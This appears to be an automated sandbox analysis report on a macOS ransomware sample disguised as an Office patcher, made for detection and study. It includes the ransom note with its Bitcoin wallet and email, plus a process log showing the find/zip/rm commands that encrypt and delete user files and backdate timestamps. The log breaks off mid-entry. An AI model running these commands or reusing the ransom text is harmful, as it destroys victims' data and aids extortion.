macfilecoder | f8dd1edd285ba0ee23250d7925dd7c230aaf3845ceedb6bcfe2913815c8775db

General

Target

filecoder.dmg
Size

2.5MB
MD5

5557a06822358ea7814891631f7df8ce
SHA1

f6e215ed5a1623de05c6f63033aa4f6d1a5696d6
SHA256

f8dd1edd285ba0ee23250d7925dd7c230aaf3845ceedb6bcfe2913815c8775db
SHA512

a592d44e8942dd223792baf0180bb4d06d0d9e0e2740a64c86c89435cefc3a704acc86ab0caee207eb549f7e8eaee777b66178bd4ac7f7c331d981b7e40a0d5b

Score

10^/10

macfilecoder ransomware

Malware Config

Extracted

Path

/Users/run/Documents/README!.txt

Ransom Note

NOT YOUR LANGUAGE? USE https://translate.google.com What happened to your files ? All of your files were protected by a strong encryption method. What do I do ? So , there are two ways you can choose: wait for a miracle or start obtaining BITCOIN NOW! , and restore YOUR DATA the easy way If You have really valuable DATA, you better NOT WASTE YOUR TIME, because there is NO other way to get your files, except make a PAYMENT FOLLOW THESE STEPS: 1) learn how to buy bitcoin https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version) 2)send 0.25 BTC to 1EZrvz1kL7SqfemkH3P1VMtomYZbfhznkb 3)send your btc address and your ip (you can get your ip here https://www.whatismyip.com) via mail to [email protected] 4)leave your computer on and connected to the internet for the next 24 hours after payment, your files will be unlocked. (If you can not wait 24 hours make a payment of 0.45 BTC your files will be unlocked in max 10 minutes) KEEP IN MIND THAT YOUR DECRYPTION KEY WILL NOT BE STORED ON MY SERVER FOR MORE THAN 1 WEEK SINCE YOUR FILE GET CRYPTED,THEN THERE WON'T BE ANY METHOD TO RECOVER YOUR FILES, DON'T WASTE YOUR TIME!

Emails

[email protected]

Wallets

1EZrvz1kL7SqfemkH3P1VMtomYZbfhznkb

URLs

https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version

https://www.whatismyip.com

Signatures

MacOSFilecoder
MacOSFilecoder family.
ransomware macfilecoder

/bin/sh
sh -c "sudo open /Volumes/filecoder/filecoder.app"
1⤵
PID:462

/bin/bash
sh -c "sudo open /Volumes/filecoder/filecoder.app"
1⤵
PID:462

/usr/bin/sudo
sudo open /Volumes/filecoder/filecoder.app
1⤵
PID:462

/usr/bin/open
open /Volumes/filecoder/filecoder.app
2⤵
PID:463

/Volumes/filecoder/filecoder.app/Contents/MacOS/Office 2016 Patcher
"/Volumes/filecoder/filecoder.app/Contents/MacOS/Office 2016 Patcher"
1⤵
PID:464

/usr/bin/find
/usr/bin/find "/Users/run/Documents/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:478

/usr/bin/touch
touch -mt 201002130000 "/Users/run/Documents/README!.txt"
2⤵
PID:479

/usr/bin/find
/usr/bin/find "/Users/run/Downloads/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:480

/usr/bin/touch
touch -mt 201002130000 "/Users/run/Downloads/README!.txt"
2⤵
PID:485

/usr/bin/find
/usr/bin/find "/Users/run/Movies/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:486

/usr/bin/touch
touch -mt 201002130000 "/Users/run/Movies/README!.txt"
2⤵
PID:487

/usr/bin/find
/usr/bin/find "/Users/run/Pictures/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:488

/usr/bin/touch
touch -mt 201002130000 "/Users/run/Pictures/README!.txt"
2⤵
PID:489

/usr/bin/find
/usr/bin/find "/Users/run/Music/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:490

/usr/bin/touch
touch -mt 201002130000 "/Users/run/Music/README!.txt"
2⤵
PID:491

/usr/bin/find
/usr/bin/find "/Users/run/Public/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:492

/usr/bin/touch
touch -mt 201002130000 "/Users/run/Public/README!.txt"
2⤵
PID:493

/usr/bin/find
/usr/bin/find "/Users/run/README!.txt" -iname "README!.txt" -print -exec touch -mt 201002130000 "{}" ";"
1⤵
PID:494

/usr/bin/touch
touch -mt 201002130000 "/Users/run/README!.txt"
2⤵
PID:495

/usr/bin/find
/usr/bin/find /Users/ -not -iname "README!.txt" -print -exec zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "{}.crypt" "{}" ";" -exec rm "{}" ";" -exec touch -mt 201002130000 "{}.crypt" ";"
1⤵
PID:496

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users/.crypt /Users/
2⤵
PID:497

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//.localized.crypt /Users//.localized
2⤵
PID:498

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//Shared.crypt /Users//Shared
2⤵
PID:499

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//Shared/adi.crypt /Users//Shared/adi
2⤵
PID:500

/usr/bin/rm
rm /Users//Shared/adi
2⤵
PID:501

/bin/rm
rm /Users//Shared/adi
2⤵
PID:501

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//Shared/.localized.crypt /Users//Shared/.localized
2⤵
PID:502

/usr/bin/rm
rm /Users//Shared/.localized
2⤵
PID:503

/bin/rm
rm /Users//Shared/.localized
2⤵
PID:503

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//Shared/.SeedEnrollment.plist.crypt /Users//Shared/.SeedEnrollment.plist
2⤵
PID:504

/usr/bin/rm
rm /Users//Shared/.SeedEnrollment.plist
2⤵
PID:505

/bin/rm
rm /Users//Shared/.SeedEnrollment.plist
2⤵
PID:505

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run.crypt /Users//run
2⤵
PID:506

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Music.crypt /Users//run/Music
2⤵
PID:507

/usr/bin/rm
rm /Users//run/Music
2⤵
PID:508

/bin/rm
rm /Users//run/Music
2⤵
PID:508

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Music/.localized.crypt /Users//run/Music/.localized
2⤵
PID:509

/usr/bin/rm
rm /Users//run/Music/.localized
2⤵
PID:510

/bin/rm
rm /Users//run/Music/.localized
2⤵
PID:510

/usr/bin/touch
touch -mt 201002130000 /Users//run/Music/.localized.crypt
2⤵
PID:511

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/.DS_Store.crypt /Users//run/.DS_Store
2⤵
PID:512

/usr/bin/rm
rm /Users//run/.DS_Store
2⤵
PID:513

/bin/rm
rm /Users//run/.DS_Store
2⤵
PID:513

/usr/bin/touch
touch -mt 201002130000 /Users//run/.DS_Store.crypt
2⤵
PID:514

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/.CFUserTextEncoding.crypt /Users//run/.CFUserTextEncoding
2⤵
PID:515

/usr/bin/rm
rm /Users//run/.CFUserTextEncoding
2⤵
PID:516

/bin/rm
rm /Users//run/.CFUserTextEncoding
2⤵
PID:516

/usr/bin/touch
touch -mt 201002130000 /Users//run/.CFUserTextEncoding.crypt
2⤵
PID:517

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Pictures.crypt /Users//run/Pictures
2⤵
PID:518

/usr/bin/rm
rm /Users//run/Pictures
2⤵
PID:519

/bin/rm
rm /Users//run/Pictures
2⤵
PID:519

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL /Users//run/Pictures/.localized.crypt /Users//run/Pictures/.localized
2⤵
PID:520

/usr/bin/rm
rm /Users//run/Pictures/.localized
2⤵
PID:521

/bin/rm
rm /Users//run/Pictures/.localized
2⤵
PID:521

/usr/bin/touch
touch -mt 201002130000 /Users//run/Pictures/.localized.crypt
2⤵
PID:522

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary.crypt" "/Users//run/Pictures/Photos Library.photoslibrary"
2⤵
PID:523

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary"
2⤵
PID:524

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary"
2⤵
PID:524

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database"
2⤵
PID:525

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database"
2⤵
PID:526

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database"
2⤵
PID:526

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock"
2⤵
PID:527

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock"
2⤵
PID:528

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock"
2⤵
PID:528

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.lock.crypt"
2⤵
PID:529

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite"
2⤵
PID:530

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite"
2⤵
PID:531

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite"
2⤵
PID:531

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite.crypt"
2⤵
PID:533

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db"
2⤵
PID:535

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db"
2⤵
PID:536

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db"
2⤵
PID:536

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/photos.db.crypt"
2⤵
PID:537

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search"
2⤵
PID:538

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search"
2⤵
PID:539

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search"
2⤵
PID:539

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist"
2⤵
PID:540

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist"
2⤵
PID:541

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist"
2⤵
PID:541

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/graphDataProgress.plist.crypt"
2⤵
PID:542

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data"
2⤵
PID:543

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data"
2⤵
PID:544

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data"
2⤵
PID:544

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/zeroKeywords.data.crypt"
2⤵
PID:545

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm"
2⤵
PID:546

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm"
2⤵
PID:547

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm"
2⤵
PID:547

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-shm.crypt"
2⤵
PID:548

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal"
2⤵
PID:549

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal"
2⤵
PID:550

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal"
2⤵
PID:550

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite-wal.crypt"
2⤵
PID:551

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist"
2⤵
PID:552

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist"
2⤵
PID:553

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist"
2⤵
PID:553

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchSystemInfo.plist.crypt"
2⤵
PID:554

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist"
2⤵
PID:555

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist"
2⤵
PID:556

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist"
2⤵
PID:556

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchMetadata.plist.crypt"
2⤵
PID:557

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist"
2⤵
PID:558

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist"
2⤵
PID:559

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist"
2⤵
PID:559

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/searchProgress.plist.crypt"
2⤵
PID:560

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist"
2⤵
PID:561

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist"
2⤵
PID:562

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist"
2⤵
PID:562

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/synonymsProcess.plist.crypt"
2⤵
PID:563

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite"
2⤵
PID:564

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite"
2⤵
PID:565

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite"
2⤵
PID:565

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/search/psi.sqlite.crypt"
2⤵
PID:566

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/protection.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/protection"
2⤵
PID:568

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/protection"
2⤵
PID:569

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/protection"
2⤵
PID:569

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/protection.crypt"
2⤵
PID:570

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT"
2⤵
PID:571

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT"
2⤵
PID:572

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT"
2⤵
PID:572

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA"
2⤵
PID:573

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA"
2⤵
PID:574

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA"
2⤵
PID:574

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal"
2⤵
PID:575

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal"
2⤵
PID:576

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal"
2⤵
PID:576

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal.crypt"
2⤵
PID:578

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist"
2⤵
PID:579

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist"
2⤵
PID:580

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist"
2⤵
PID:580

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist.crypt"
2⤵
PID:581

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm"
2⤵
PID:582

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm"
2⤵
PID:583

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm"
2⤵
PID:583

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm.crypt"
2⤵
PID:584

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db"
2⤵
PID:585

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db"
2⤵
PID:586

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db"
2⤵
PID:586

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db.crypt"
2⤵
PID:587

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources"
2⤵
PID:588

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources"
2⤵
PID:589

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources"
2⤵
PID:589

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"
2⤵
PID:590

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"
2⤵
PID:591

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"
2⤵
PID:591

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"
2⤵
PID:592

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"
2⤵
PID:593

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"
2⤵
PID:593

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"
2⤵
PID:594

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"
2⤵
PID:595

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"
2⤵
PID:595

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration.crypt"
2⤵
PID:596

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"
2⤵
PID:597

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"
2⤵
PID:598

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"
2⤵
PID:598

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"
2⤵
PID:599

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"
2⤵
PID:600

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"
2⤵
PID:600

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data"
2⤵
PID:601

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data"
2⤵
PID:602

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data"
2⤵
PID:602

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"
2⤵
PID:603

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"
2⤵
PID:604

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"
2⤵
PID:604

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"
2⤵
PID:605

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"
2⤵
PID:606

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"
2⤵
PID:606

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"
2⤵
PID:607

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"
2⤵
PID:608

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"
2⤵
PID:608

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"
2⤵
PID:609

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"
2⤵
PID:610

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"
2⤵
PID:610

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"
2⤵
PID:611

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"
2⤵
PID:612

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"
2⤵
PID:612

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj.crypt"
2⤵
PID:613

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"
2⤵
PID:614

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"
2⤵
PID:615

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"
2⤵
PID:615

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist.crypt"
2⤵
PID:616

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"
2⤵
PID:617

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"
2⤵
PID:618

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"
2⤵
PID:618

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj.crypt"
2⤵
PID:619

/usr/bin/zip
zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"
2⤵
PID:620

/usr/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"
2⤵
PID:621

/bin/rm
rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"
2⤵
PID:621

/usr/bin/touch
touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist.crypt"
2⤵
PID:622

/usr/bin/zip
